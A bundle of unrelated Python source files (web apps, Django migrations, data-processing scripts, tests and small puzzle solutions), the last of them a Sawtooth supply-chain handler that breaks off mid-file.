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import bottle root = __import__("pathlib").Path(__file__).resolve().parent bottle.TEMPLATE_PATH = [str(root / "views")] app = bottle.default_app() host = "127.0.0.1" port = "65534" from . import controller from . import download_video
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import logging import numpy as np __all__ = [ 'generate_random_points_inside_balls', 'generate_random_point_inside_balls', 'generate_random_points_inside_ball', 'generate_random_point_inside_ball', ] # %% def generate_random_points_inside_balls( X, normalizer, mode, phi, n=1, model=None, different_prediction=False, ): if different_prediction and model is None: raise ValueError('You must pass the model in order to filter points.') if not different_prediction and model is not None: logging.warning('Model passed to `generate_random_points_inside_balls` but `different_prediction = False`.') # Ball diameter diameter = normalizer.feature_deviation(method=mode, phi=phi) nb_features = X.shape[1] def __shift(x, n, p=None): if n == 0: return np.array([]).reshape(0, nb_features) # Sample Epsilon = np.random.rand(n, nb_features) - .5 X_prime = normalizer.shift( np.tile(x, (n, 1)), shifts=np.tile(diameter, (n, 1)) * Epsilon, method=mode, ) if p is not None: X_prime_ = X_prime[model.predict(X_prime) == p] # Recursively call the function if not enough samples are generated return np.concatenate([X_prime_, __shift(x, n=n - len(X_prime_), p=p)], axis=0) else: return X_prime if different_prediction: preds = model.predict(X) return np.array([__shift(x, n, p) for x, p in zip(X, preds)]) else: return np.array([__shift(x, n) for x in X]) def generate_random_point_inside_balls(X, *args, **kwargs): return generate_random_points_inside_balls(X, *args, n=1, **kwargs)[:, 0, :] def generate_random_points_inside_ball(x, *args, **kwargs): return generate_random_points_inside_balls(np.array([x]), *args, **kwargs)[0] def generate_random_point_inside_ball(x, *args, **kwargs): return generate_random_points_inside_ball(x, *args, n=1, **kwargs)[0] # %%
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#!/usr/bin/env python3 def getpts(path): pts = set() loc = [0, 0] for step in path: direction = step[0] distance = int(step[1:]) if direction == "R": for s in range(distance): pts.add((loc[0] + s + 1, loc[1])) loc[0] += distance elif direction == "L": for s in range(distance): pts.add((loc[0] - s - 1, loc[1])) loc[0] -= distance elif direction == "U": for s in range(distance): pts.add((loc[0], loc[1] - s - 1)) loc[1] -= distance elif direction == "D": for s in range(distance): pts.add((loc[0], loc[1] + s + 1)) loc[1] += distance return pts with open("input.txt") as f: directions = f.read() path1, path2 = map(lambda x: x.split(","), directions.strip().split("\n")) pts1 = getpts(path1) pts2 = getpts(path2) intersections = pts1.intersection(pts2) min_dist = None closest = None for i in intersections: dist = abs(i[0]) + abs(i[1]) if min_dist is None or dist < min_dist: closest = i min_dist = dist print(min_dist)
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import unittest from streamlink.plugins.openrectv import OPENRECtv class TestPluginOPENRECtv(unittest.TestCase): def test_can_handle_url(self): should_match = [ 'https://www.openrec.tv/live/DXRLAPSGTpx', 'https://www.openrec.tv/movie/JsDw3rAV2Rj', ] for url in should_match: self.assertTrue(OPENRECtv.can_handle_url(url)) def test_can_handle_url_negative(self): should_not_match = [ 'https://www.openrec.tv/', ] for url in should_not_match: self.assertFalse(OPENRECtv.can_handle_url(url))
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# Generated by Django 3.1.3 on 2021-05-07 18:57 from django.conf import settings from django.db import migrations, models import django.db.models.deletion class Migration(migrations.Migration): initial = True dependencies = [ migrations.swappable_dependency(settings.AUTH_USER_MODEL), ] operations = [ migrations.CreateModel( name='Lobby', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('date_created', models.DateField(auto_now_add=True, null=True)), ('is_active_playback', models.BooleanField(default=False)), ('is_active', models.BooleanField(blank=True, default=True, null=True)), ('owner', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='lobbyuser1', to=settings.AUTH_USER_MODEL)), ('users_connected', models.ManyToManyField(blank=True, related_name='users_conntected', to=settings.AUTH_USER_MODEL)), ], ), migrations.CreateModel( name='current_song', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('current_uri', models.CharField(blank=True, max_length=100, null=True)), ('date_created', models.DateField(auto_now_add=True, null=True)), ('lobby', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='lobby', to='spotify.lobby')), ], ), migrations.CreateModel( name='Access_token', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('access_token', models.CharField(blank=True, max_length=500, null=True)), ('refresh_token', models.CharField(blank=True, max_length=500, null=True)), ('expiers_at', models.CharField(blank=True, max_length=100, null=True)), ('user', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='token_user', to=settings.AUTH_USER_MODEL)), ], ), ]
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# Script de criação do dashboard # https://dash.plotly.com/dash-html-components # Imports import traceback import pandas as pd import plotly.express as px import dash_core_components as dcc import dash_bootstrap_components as dbc import dash_html_components as html from dash.dependencies import Input, Output # Módulos customizados from app import app from modulos import data_operations, constant # Gera o layout def get_layout(): try: # Gera o container layout = dbc.Container([ dbc.Row([ dbc.Col([ dbc.Card([dbc.CardHeader("Ano"), dbc.CardBody([html.H5(data_operations.Ano2016, className = "card-text")]),], className = "shadow p-3 bg-light rounded")], width = 3), dbc.Col([ dbc.Card([dbc.CardHeader("Seguros Previstos"), dbc.CardBody([html.H5(data_operations.TotalNewPolicies2016, className = "card-text")]),], className = "shadow p-3 bg-light rounded")], width = 3), dbc.Col([ dbc.Card([dbc.CardHeader("Maquinas Previstas"), dbc.CardBody([html.H5(data_operations.MachinesInstalled2016, className = "card-text")]),], className = "shadow p-3 bg-light rounded")], width = 3), dbc.Col([ dbc.Card([dbc.CardHeader("Lucro Medio"), dbc.CardBody([html.H5(data_operations.LucroMedio2016, className = "card-text")]),], className = "shadow p-3 bg-light rounded")], width = 3)], className= "pb-3"), dbc.Row([ dbc.Col([ dbc.Card([dbc.CardHeader("Ano"), dbc.CardBody([html.H5(data_operations.Ano2017, className = "card-text")]),], className = "shadow p-3 bg-light rounded")], width = 3), dbc.Col([ dbc.Card([dbc.CardHeader("Seguros Previstos"), dbc.CardBody([html.H5(data_operations.TotalNewPolicies2017, className = "card-text")]),], className = "shadow p-3 bg-light rounded")], width = 3), dbc.Col([ dbc.Card([dbc.CardHeader("Maquinas Previstas"), dbc.CardBody([html.H5(data_operations.MachinesInstalled2017, className = "card-text")]),], className = "shadow p-3 bg-light rounded")], width = 3), dbc.Col([ dbc.Card([dbc.CardHeader("Lucro Medio"), dbc.CardBody([html.H5(data_operations.LucroMedio2017, className = "card-text")]),], className = "shadow p-3 bg-light rounded")], width = 3)], className= "pb-3"), dbc.Row([ dbc.Card([dbc.CardBody([html.H6("Na página visão geral temos o total de seguros vendidos, maquinas instaladas e lucro médio ao longo dos anos 2009 a 2015 nos cardes. No gráfico das contratações de seguros, percebe-se uma tendência, crescente de novas aquisições até o ano de 2013, depois uma leve queda entre os anos 2015 e 2016, porem algo interessante a se notar é que em todos os anos os picos de contratações ocorrem em março, seria interessante a empresa investigar o porquê. Em relação a instalação de máquinas seguem também um padrão quase constante, onde podemos notar picos de instalações maiores nos meses de dezembro. Embora nos últimos anos (2014,2015) a empresa tenho tido menos contratações, assim como instalações de máquinas, o seu lucro médio anual não caiu, aumenta a cada ano, isso mostra uma eficiência da empresa em manter clientes antigos.", className = "card-text")]),],className = "shadow p-3 bg-light rounded"),], className= "pb-3"), dbc.Row([ dbc.Card([dbc.CardBody([html.H6("Na página previsões, temos o primeiro gráfico mostrando as previsões (tendências) para aquisição de novas apólices, podemos ver as previsões do modelo para todos os anos, e os pontos pretos sendo os dados atuais, pode-se notar que o modelo fez um bom trabalho, levando em consideração que as previsões estão dentro da margem de erro que é a parte sombreada, já o segundo gráfico mostra apenas os valores para os anos a serem previstos. O mesmo ocorre nos gráficos 3 e 4, esses já com relação a instalações de novas maquinas. Com essas previsões os gestores podem se preparar para os próximos dois anos se baseando no que o modelo previu como tendência. ", className = "card-text")]),],className = "shadow p-3 bg-light rounded"),], className= "pb-3"), dbc.Row([ dbc.Card([dbc.CardBody([html.H6("Nessa página de insights, é mostrado resumidamente o total, de novas contratações e novas instalações de maquinas assim como o lucro médio dos anos previstos, todas as essas previsões com visto na página previsões seguem um padrão, identificado pelo modelo com relação aos anos anteriores, embora a previsão para novas contratações para 2017 não esteja tão alto, o lucro médio não caiu tanto, o modelo levou em consideração a tendência que vem ocorrendo em que a empresa tem uma boa qualidade de serviço fazendo com que os clientes antigos permaneçam com os serviços a cada ano. Todas as informações acima e os gráficos são valiosas, pois os gestores conseguem agora identificar padrões e possivelmente algumas falhas, e com isso entender o que pode vir a ocorrer, se manter o trabalho que vem feito, e até buscar melhorias para que atinja valores acima do previsto.", className = "card-text")]),],className = "shadow p-3 bg-light rounded"),], className= "pb-3") ], fluid = True) return layout except: layout = dbc.Jumbotron( [ html.Div([ html.H1("500: Internal Server Error", className = "text-danger"), html.Hr(), html.P(f"Following Exception Occured: "), html.Code(traceback.format_exc()) ], style = constant.NAVITEM_STYLE) ] ) return layout
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from rest_framework import serializers from core.models import Prompt, CustomUser class CustomUserSerializer(serializers.ModelSerializer): class Meta: model = CustomUser fields = ["id", "username"] class PromptSerializer(serializers.HyperlinkedModelSerializer): created_by = CustomUserSerializer(required=False) class Meta: model = Prompt fields = ["id", "created_at", "status", "schema", "url", "created_by", "response"] read_only_fields = ['id', 'created_at', 'created_by', 'modified_at', 'status', 'url'] class PromptResponseSerializer(serializers.ModelSerializer): class Meta: model = Prompt fields = ["response"] extra_kwargs = {'response': {'required': True}}
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c.Session.debug = True c.LabApp.token = 'test' c.LabApp.open_browser = False c.NotebookApp.port_retries = 0 c.LabApp.workspaces_dir = './build/cypress-tests' c.FileContentsManager.root_dir = './build/cypress-tests' c.LabApp.quit_button = False
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from django.contrib.gis import admin from apps.access.models import InvitedEmail class InvitedEmailAdmin(admin.ModelAdmin): pass admin.site.register(InvitedEmail, InvitedEmailAdmin)
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# -*- coding: utf-8 -*- # Generated by Django 1.11.5 on 2017-10-02 14:10 from __future__ import unicode_literals from django.db import migrations, models import uuid class Migration(migrations.Migration): dependencies = [ ('ciudadano', '0052_auto_20170920_1003'), ] operations = [ migrations.CreateModel( name='AntecedenteReaccionAdversaMedicamento', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('fecha_creacion', models.DateTimeField(auto_now_add=True, null=True)), ('fecha_modificacion', models.DateTimeField(auto_now=True, null=True)), ('uuid', models.UUIDField(default=uuid.uuid4, editable=False, unique=True)), ('es_removido', models.BooleanField(default=False, editable=False)), ('familia_medicamento', models.CharField(max_length=10)), ('medicamento', models.CharField(max_length=10)), ('anio_diagnostico', models.CharField(blank=True, max_length=4, null=True)), ('observaciones', models.TextField(blank=True, null=True)), ('registro_antecedente', models.CharField(choices=[('0', 'No'), ('1', 'Sí'), ('2', 'No sabe')], default='1', max_length=1)), ('consulta_paciente', models.UUIDField()), ('ciudadano', models.UUIDField()), ], options={ 'abstract': False, }, ), ]
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def test_example(app): app.login_admin() app.get("http://localhost/litecart/admin/?app=catalog&doc=catalog&category_id=1") menu=app.driver.find_elements_by_css_selector("tr .row") for n in range(0,len(menu)): element = app.driver.find_elements_by_css_selector("tr .row") element[n].click() for l in app.driver.get_log("browser"): print(l) app.driver.get("http://localhost/litecart/admin/?app=catalog&doc=catalog&category_id=1")
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from pyautogui import * import pyautogui import time while 1: if pyautogui.locateOnScreen('img.png', region=(150,175,350,600), grayscale=True, confidence=0.8) != None: print("I can see it") time.sleep(0.5) else: print("I am unable to see it") time.sleep(0.5)
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# Copyright 2020 Bradbase import itertools from datetime import datetime, timedelta, date from calendar import monthrange from harvest import Harvest from .harvestdataclasses import * class DetailedReports(Harvest): def __init__(self, uri, auth): super().__init__(uri, auth) self.client_cache = {} self.project_cache = {} self.task_cache = {} self.user_cache = {} def timeframe(self, timeframe, from_date=None, to_date=None): quarters = [None, [1, 3], [1, 3], [1, 3], [4, 6], [4, 6], [4, 6], [7, 9], [7, 9], [7, 9], [10, 12], [10, 12], [10, 12]] today = datetime.now().date() timeframe_upper = timeframe.upper() if timeframe_upper == 'THIS WEEK': start_date = today - timedelta(days=today.weekday()) end_date = start_date + timedelta(days=6) elif timeframe_upper == 'LAST WEEK': today = today - timedelta(days=7) start_date = today - timedelta(days=today.weekday()) end_date = start_date + timedelta(days=6) elif timeframe_upper == 'THIS SEMIMONTH': if today.day <= 15: start_date = today.replace(day=1) end_date = today.replace(day=15) else: start_date = today.replace(day=16) end_date = today.replace( day=monthrange(today.year, today.month)[1]) elif timeframe_upper == 'LAST SEMIMONTH': if today.day <= 15: if today.month == 1: start_date = today.replace( year=today.year-1, month=12, day=16) end_date = today.replace( year=today.year-1, month=12, day=monthrange(today.year-1, 12)[1]) else: start_date = today.replace(month=today.month-1, day=16) end_date = today.replace( month=today.month-1, day=monthrange(today.year, today.month-1)[1]) else: start_date = today.replace(day=1) end_date = today.replace(day=15) elif timeframe_upper == 'THIS MONTH': start_date = today.replace(day=1) end_date = today.replace( day=monthrange(today.year, today.month)[1]) elif timeframe_upper == 'LAST MONTH': if today.month == 1: start_date = today.replace(year=today.year-1, month=12, day=1) end_date = today.replace( year=today.year-1, month=12, day=monthrange(today.year-1, 12)[1]) else: start_date = today.replace(month=today.month-1, day=1) end_date = today.replace( month=today.month-1, day=monthrange(today.year, today.month-1)[1]) elif timeframe_upper == 'THIS QUARTER': quarter = quarters[today.month] start_date = date(today.year, quarter[0], 1) end_date = date( today.year, quarter[1], monthrange(today.year, quarter[1])[1]) elif timeframe_upper == 'LAST QUARTER': if today.month <= 3: quarter = [10, 12] today = today.replace(year=today.year-1) else: quarter = quarters[today.month-3] start_date = date(today.year, quarter[0], 1) end_date = date( today.year, quarter[1], monthrange(today.year, quarter[1])[1]) elif timeframe_upper == 'THIS YEAR': start_date = date(today.year, 1, 1) end_date = date(today.year, 12, 31) elif timeframe_upper == 'LAST YEAR': start_date = date(today.year-1, 1, 1) end_date = date(today.year-1, 12, 31) elif timeframe_upper == 'ALL TIME': return {} # Not currently supported elif timeframe_upper == 'CUSTOM': raise ValueError("Custom timeframe not currently supported.") else: raise ValueError( "unknown argument \'timeframe\': \'%s\'" % timeframe_upper) return {'from_date': start_date, 'to_date': end_date} # team is user def detailed_time(self, time_frame='All Time', clients=[None], projects=[None], tasks=[None], team=[None], include_archived_items=False, group_by='Date', activeProject_only=False): arg_configs = [] time_entry_results = DetailedTimeReport([]) for element in itertools.product(clients, projects, team): kwargs = {} if element[0] !=None: kwargs['client_id'] = element[0] if element[1] !=None: kwargs['project_id'] = element[1] if element[2] !=None: kwargs['user_id'] = element[2] kwargs = dict(self.timeframe(time_frame), **kwargs) arg_configs.append(kwargs) tmp_time_entry_results = [] if arg_configs == []: time_entries = self.time_entries() tmp_time_entry_results.extend(time_entries.time_entries) if time_entries.total_pages > 1: for page in range(2, time_entries.total_pages + 1): time_entries = self.time_entries(page=page) tmp_time_entry_results.extend(time_entries.time_entries) else: for config in arg_configs: time_entries = self.time_entries(**kwargs) tmp_time_entry_results.extend(time_entries.time_entries) if time_entries.total_pages > 1: for page in range(2, time_entries.total_pages + 1): time_entries = self.time_entries(page=page, **kwargs) tmp_time_entry_results.extend(time_entries.time_entries) for time_entry in tmp_time_entry_results: user = None if time_entry.user.id not in self.user_cache.keys(): user = self.get_user(time_entry.user.id) self.user_cache[time_entry.user.id] = user else: user = self.user_cache[time_entry.user.id] hours = time_entry.hours billable_amount = 0.0 cost_amount = 0.0 billable_rate = time_entry.billable_rate cost_rate = time_entry.cost_rate if hours is not None: if billable_rate is not None: billable_amount = billable_rate * hours if cost_rate is not None: cost_amount = cost_rate * hours time_entry_results.detailed_time_entries.append( DetailedTimeEntry(date=time_entry.spent_date, client=time_entry.client.name, project=time_entry.project.name, project_code=time_entry.project.code, task=time_entry.task.name, notes=time_entry.notes, hours=hours, billable=str(time_entry.billable), invoiced='', approved='', first_name=user.first_name, last_name=user.last_name, roles=user.roles, employee='Yes', billable_rate=billable_rate, billable_amount=billable_amount, cost_rate=cost_rate, cost_amount=cost_amount, currency=time_entry.client.currency, external_reference_url=time_entry.external_reference) ) return time_entry_results
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""" Send a kill signal to a BiblioPixel process running on this machine to abruptly kill it DEPRECATED: use .. code-block:: bash $ kill -kill `bpa-pid` """ DESCRIPTION = """ Example: .. code-block:: bash $ bp kill """ from .. util.signal_handler import make_command add_arguments, run = make_command('SIGKILL')
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# Standard imports import json import ast # Third party imports import pandas as pd from tabulate import tabulate # Local application imports from utils.logger import logger class Dataloding: """Loads movie lens and TMDB data from data folder. """ def __init__(self, data_folder='data'): self.data_folder = data_folder.strip('/') self.load_data() def load_data(self) -> None: ratings_file_path = self.data_folder + '/ratings.csv' self.ratings_df = pd.read_csv(ratings_file_path) logger.info("ratings: ") logger.info(tabulate(self.ratings_df.head(), headers='keys', tablefmt='pretty')) logger.info("successfully loaded ratings. entries: %s" % \ self.ratings_df.shape[0]) movies_data_path = self.data_folder + '/movies_metadata.csv' self.movies_df = pd.read_csv(movies_data_path) self.movies_df = self.transform_movies_df(self.movies_df) logger.info("successfully loaded movies metadata. entries: %s" % \ self.movies_df.shape[0]) keywords_data_path = self.data_folder + '/keywords.csv' self.keywords_df = pd.read_csv(keywords_data_path) self.keywords_df = self.transform_keywords_df(self.keywords_df) logger.info("successfully loaded movie keywords data. entries: %s" \ % self.keywords_df.shape[0]) links_data_path = self.data_folder + '/links.csv' self.links_df = pd.read_csv(links_data_path) logger.info("movie links: ") logger.info(tabulate(self.links_df.head(), headers='keys', tablefmt='pretty')) logger.info("successfully loaded movie links data. entries: %s" \ % self.links_df.shape[0]) credits_data_path = self.data_folder + '/credits.csv' self.credits_df = pd.read_csv(credits_data_path) self.credits_df = self.transform_credits_df(self.credits_df) logger.info("successfully loaded credits data. entries: %s" \ % self.credits_df.shape[0]) logger.info("successfully loaded all data") def transform_movies_df(self, movies_df) -> pd.DataFrame: """Converts non strings like jsons or other data types to string or list. and also minimizes data size. Args: movies (DataFrame): movies data in df format Returns: DataFrame: dataframe with better data structures. """ self.id_collection = {} self.id_genre = {} for index, row in movies_df.iterrows(): if not pd.isna(row['belongs_to_collection']) and \ row['belongs_to_collection'].strip(): collection_str = row['belongs_to_collection'] collection_json = ast.literal_eval(collection_str) movies_df.loc[index, 'belongs_to_collection'] = \ collection_json['id'] self.id_collection[collection_json['id']] = \ collection_json['name'] else: movies_df.loc[index, 'belongs_to_collection'] = -1 if not pd.isna(row['genres']) and \ row['genres'].strip(): genres_str = row['genres'] genres_list = ast.literal_eval(genres_str) movies_df.at[index, 'genres'] = [g['id'] for g in genres_list] for genre in genres_list: self.id_genre[genre['id']] = genre['name'] else: movies_df.loc[index, 'genres'] = [] return movies_df def transform_keywords_df(self, keywords_df) -> pd.DataFrame: """Converts keywords data in json format to list format. storing only ids in keywords_df and separate dictionary for mappings Args: keywords_df (pd.DataFrame): raw keywords data Returns: pd.DataFrame: transformed dataframe """ self.id_keyword = {} for index, row in keywords_df.iterrows(): keywords_json = row['keywords'] keyword_ids = [] if keywords_json.strip(): keywords_json = ast.literal_eval(keywords_json) for key in keywords_json: keyword_ids.append(key['id']) self.id_keyword[key['id']] = key['name'] keywords_df.at[index, 'keywords'] = keyword_ids return keywords_df def transform_credits_df(self, credits_df) -> pd.DataFrame: """Converts json format in df to list format. Stores only ids in df and ids mapping will be self.id_credit(dict) Args: credits_df (pd.DataFrame): raw credits data Returns: pd.DataFrame: transformed data """ self.id_credit = {} for index, row in credits_df.iterrows(): cast_json = row['cast'] if cast_json.strip(): cast_json = ast.literal_eval(cast_json) cast_ids = [] for cast in cast_json: self.id_credit[cast['id']] = cast['name'] cast_ids.append(cast['id']) credits_df.at[index, 'cast'] = cast_ids crew_json = row['crew'] if crew_json.strip(): crew_json = ast.literal_eval(crew_json) credits_df.at[index, 'crew'] = crew_json return credits_df class DataProcessing: def __init__(self) -> None: pass if __name__ == '__main__': data = Dataloding()
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from django.apps import AppConfig class CoremodelsConfig(AppConfig): name = 'coremodels'
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class Solution: def maximumUnits(self, boxTypes: List[List[int]], truckSize: int) -> int: boxTypes.sort(key=lambda x: x[1],reverse = True) r = 0 remaining = truckSize for boxType in boxTypes: b = min(remaining,boxType[0]) r += b * boxType[1] remaining -= b if remaining==0: break return r
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# -*- coding: utf-8 -*- from wtforms import Form, StringField, validators class LoginForm(Form): username = StringField('Username:', validators=[validators.required(), validators.Length(min=1, max=30)]) password = StringField('Password:', validators=[validators.required(), validators.Length(min=1, max=30)]) email = StringField('Email:', validators=[validators.optional(), validators.Length(min=0, max=50)]) class ProjectForm(Form): title = StringField('Title:', validators=[validators.required(), validators.Length(min=1, max=1000)]) description = StringField('Description:', validators=[validators.optional(), validators.Length(min=0, max=10000)])
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# -*- coding: utf-8 -*- """ Created on Fri Jul 24 00:44:49 2020 @author: Aanal Sonara """ import cv2 cap = cv2.VideoCapture(0) while cap.isOpened(): _, frame = cap.read() cv2.imshow("live video", frame) k = cv2.waitKey(1) and 0xFF if k==27: break cap.release() cv2.destroyAllWindows()
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import configparser import os import tempfile import urllib.request import xml.dom.minidom import xml.etree.ElementTree as ET from urllib.error import HTTPError, URLError from urllib.parse import urlparse from bs4 import BeautifulSoup from tinytag import TinyTag import gevent dir_path = os.path.dirname(os.path.realpath(__file__)) CONFIG = configparser.ConfigParser() CONFIG.read(os.path.join(dir_path, '../setting.cfg')) USE_GEVENT = CONFIG['common'].getboolean('use_gevent') def get_site_list_from_file(file_name): root = ET.parse(file_name).getroot() site_list = [] for child in root: if child.tag == "site": site_list.append(child.text) return site_list def get_mp3_genre_and_title(mp3_filename): audio_tag = TinyTag.get(mp3_filename) if audio_tag.genre is None: audio_tag.genre = "Undefined" if audio_tag.title is None: audio_tag.title = "No-title" return audio_tag.genre, audio_tag.title def collect_all_links_from_html(html_page): soup = BeautifulSoup(html_page, 'html.parser') return [x.get('href') for x in soup.find_all('a')] def get_all_links_from_url(url): try: main_page_req = urllib.request.Request(url, headers={'User-Agent': 'Mozilla/5.0'}) html_page = urllib.request.urlopen(main_page_req) return collect_all_links_from_html(html_page) except urllib.error.HTTPError: return [] def convert_link_to_absolute(base_url, link): url = urllib.parse.urljoin(base_url, link) parsed_url = urllib.request.urlparse(url) if parsed_url.scheme != "file": return parsed_url.scheme + "://" + parsed_url.netloc + urllib.parse.quote(parsed_url.path) else: return url def convert_links_to_absolute(base_url, links): return [convert_link_to_absolute(base_url, link) for link in links] def get_mp3_links(links, digest_level, *, use_gevent): visited_links = set() mp3_links = [] def _get_mp3_links(url, level): visited_links.add(url) _links = convert_links_to_absolute(url, get_all_links_from_url(url)) links_to_visit = [] for link in _links: if link.endswith(".mp3"): mp3_links.append(link) elif level > 1: req = urllib.request.Request(url, method="HEAD", headers={'User-Agent': 'Mozilla/5.0'}) response = urllib.request.urlopen(req) if link.endswith("html") or response.getheader("Content-Type").startswith("text/html"): links_to_visit.append(link) if level > 1: for link in links_to_visit: if link not in visited_links: _get_mp3_links(link, level - 1) if use_gevent: jobs = [gevent.spawn(_get_mp3_links, url, digest_level) for url in links] gevent.joinall(jobs) else: for url in links: _get_mp3_links(url, digest_level) return mp3_links def analyze_mp3_from_links(mp3_links, *, use_gevent): analyzed_mp3_sorted_by_genre = {} tmp_dir = tempfile.TemporaryDirectory(suffix='mp3') def _analyze_mp3(mp3_link): file_name = os.path.basename(urllib.parse.urlparse(mp3_link).path) try: print(f"Load {file_name}") req = urllib.request.Request(mp3_link, headers={'User-Agent': 'Mozilla/5.0', "Range": "bytes:0-4000"}) with urllib.request.urlopen(req) as response, \ tempfile.NamedTemporaryFile(mode="w+b", delete=False, dir=tmp_dir.name) as out_file: data = response.read() out_file.write(data) tmp_filename = out_file.name genre, title = get_mp3_genre_and_title(tmp_filename) if genre not in analyzed_mp3_sorted_by_genre: analyzed_mp3_sorted_by_genre[genre] = [] analyzed_mp3_sorted_by_genre[genre].append({"filename": file_name, "title": title, "link": mp3_link}) except URLError: pass if use_gevent: jobs = [gevent.spawn(_analyze_mp3, mp3_link) for mp3_link in mp3_links] gevent.joinall(jobs) else: for mp3_link in mp3_links: _analyze_mp3(mp3_link) tmp_dir.cleanup() return analyzed_mp3_sorted_by_genre def generate_xml_res_string(sorted_by_genre_mp3): root = ET.Element('Playlist') for key, value in sorted_by_genre_mp3.items(): genre_node = ET.SubElement(root, 'Genre', {'name': key}) for mp3_info in value: mp3_info_node = ET.SubElement(genre_node, 'music') ET.SubElement(mp3_info_node, 'filename').text = mp3_info['filename'] ET.SubElement(mp3_info_node, 'title').text = mp3_info['title'] ET.SubElement(mp3_info_node, 'link').text = mp3_info['link'] mydata = ET.tostring(root, encoding="unicode") preparsed = xml.dom.minidom.parseString(mydata) return preparsed.toprettyxml().encode("utf-8") def generate_xml_result_in_result_file(sorted_by_genre_mp3, result_file): final_res = generate_xml_res_string(sorted_by_genre_mp3) result_file.write(final_res) def scrape_mp3_from_sites(input_filename, digest_level): site_list = get_site_list_from_file(input_filename) mp3_links = get_mp3_links(site_list, digest_level, use_gevent=USE_GEVENT) analyzed_res = analyze_mp3_from_links(mp3_links, use_gevent=USE_GEVENT) with open("../result.xml", "wb") as res_file: generate_xml_result_in_result_file(analyzed_res, res_file)
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#!/usr/bin/env python # -*- coding: utf-8 -*- import argparse import numpy import torch import torchnet from tqdm import tqdm from torchnet.engine import Engine from torchnet.logger import VisdomPlotLogger, VisdomLogger import project.deco as deco from project.sequoder import SequenceEncoder, get_loss def get_args(): parser = argparse.ArgumentParser() parser.add_argument("--debug", action="store_true", default=False, help="if you specified, execute as debug mode. default: 'False'") parser.add_argument("--trace", action="store_true", default=False, help="if you specified, execute as trace mode. default: 'False'") # parser.add_argument("-i", "--indir", type=str, default="data/parsed", # help="you can specify the string of the input directory" # " must includes subdir 'doc/', and 'title/'. default: 'data/parsed'") parser.add_argument("--epochs", type=int, default="500") parser.add_argument("--lr", type=float, default="0.001") parser.add_argument("--weight-decay", type=float, default="0") args = parser.parse_args() return args def get_toydata(n_data, device): toydata = [] for _n in range(n_data): t = numpy.random.randint(5) + 2 seq = [torch.randn(1, 3) for _t in range(t)] # make a sequence of length 5 seq = torch.stack(seq) seq = seq.to(device) toydata.append(seq) return toydata def reverse_tensor(tensor, device=torch.device("cpu")): indices = [i for i in range(tensor.size(0)-1, -1, -1)] indices = torch.LongTensor(indices).to(device) rev_tensor = tensor.index_select(0, indices) return rev_tensor @deco.trace @deco.excep(return_code=True) def main(): args = get_args() device = torch.device("cuda:1") # device = torch.device("cpu") model = SequenceEncoder(3, 2, device) n_data = 10 data = get_toydata(n_data, device) teacher = [reverse_tensor(seq, device) for seq in data] training_data = (data, teacher) optim_params = { "params": model.parameters(), "weight_decay": args.weight_decay, "lr": args.lr, } optimizer = torch.optim.Adam(**optim_params) meter_loss = torchnet.meter.AverageValueMeter() port = 8097 train_loss_logger = VisdomPlotLogger( 'line', port=port, opts={'title': 'encoder_toy - train loss'}) def network(sample): x = sample[0] # sequence t = sample[1] # target sequence y, mu, logvar = model(x) loss = get_loss(y, t, mu, logvar) o = y, mu, logvar return loss, o def reset_meters(): meter_loss.reset() def on_sample(state): state['sample'] = list(state['sample']) state['sample'].append(state['train']) model.zero_grad() model.init_hidden() def on_forward(state): loss_value = state['loss'].data meter_loss.add(state['loss'].data) def on_start_epoch(state): reset_meters() if 'dataset' not in state: dataset = state['iterator'] state['dataset'] = dataset dataset = state['dataset'] state['iterator'] = tqdm(zip(*dataset)) def on_end_epoch(state): loss_value = meter_loss.value()[0] epoch = state['epoch'] print(f'loss[{epoch}]: {loss_value:.4f}') train_loss_logger.log(epoch, loss_value) dataset = state['dataset'] state['iterator'] = tqdm(zip(*dataset)) engine = Engine() engine.hooks['on_sample'] = on_sample engine.hooks['on_forward'] = on_forward engine.hooks['on_start_epoch'] = on_start_epoch engine.hooks['on_end_epoch'] = on_end_epoch engine.train(network, training_data, maxepoch=args.epochs, optimizer=optimizer) # loss_records = model.do_train(training_data, args.epochs, optimizer) # def save_fig(x, img_file): # pyplot.plot(range(len(x)), x) # pathlib.Path(img_file).parent.mkdir(parents=True, exist_ok=True) # pyplot.savefig(img_file) # save_fig(loss_records, "results/loss_toydata.png") if __name__ == '__main__': r = main() if r != 0: logfile = deco.logger.logger.handlers[0].baseFilename print(f"Abort with error. see logfile '{logfile}'") exit(r)
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# Copyright 2017 Intel Corporation # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # ------------------------------------------------------------------------------ import logging import json from sawtooth_sdk.processor.state import StateEntry from sawtooth_sdk.processor.exceptions import InvalidTransaction from sawtooth_sdk.processor.exceptions import InternalError from sawtooth_sdk.protobuf.transaction_pb2 import TransactionHeader import sawtooth_supplychain.addressing as addressing LOGGER = logging.getLogger(__name__) SUPPLYCHAIN_VERSION = '0.5' SUPPLYCHAIN_NAMESPACE = 'Supplychain' def state_get_single(state, uid): entries_list = state.get([uid]) if entries_list: return json.loads(entries_list[0].data.decode()) return None def state_put_single(state, uid, data): addresses = state.set( [StateEntry(address=uid, data=json.dumps(data, sort_keys=True).encode())]) if not addresses or uid not in addresses: raise InternalError("Error setting state, addresses returned: %s.", addresses) class SupplychainHandler(object): def __init__(self): pass @property def family_name(self): return 'sawtooth_supplychain' @property def family_versions(self): return ['1.0'] @property def encodings(self): return ['application/json'] @property def namespaces(self): return [addressing.get_namespace()] def apply(self, transaction, state): payload = json.loads(transaction.payload.decode()) LOGGER.debug("SupplychainHandler.apply: %s", repr(payload)) if payload['MessageType'] == 'Record': RecordHandler.apply(transaction, state) elif payload['MessageType'] == 'Agent': AgentHandler.apply(transaction, state) class RecordHandler(object): @classmethod def apply(cls, transaction, state): payload 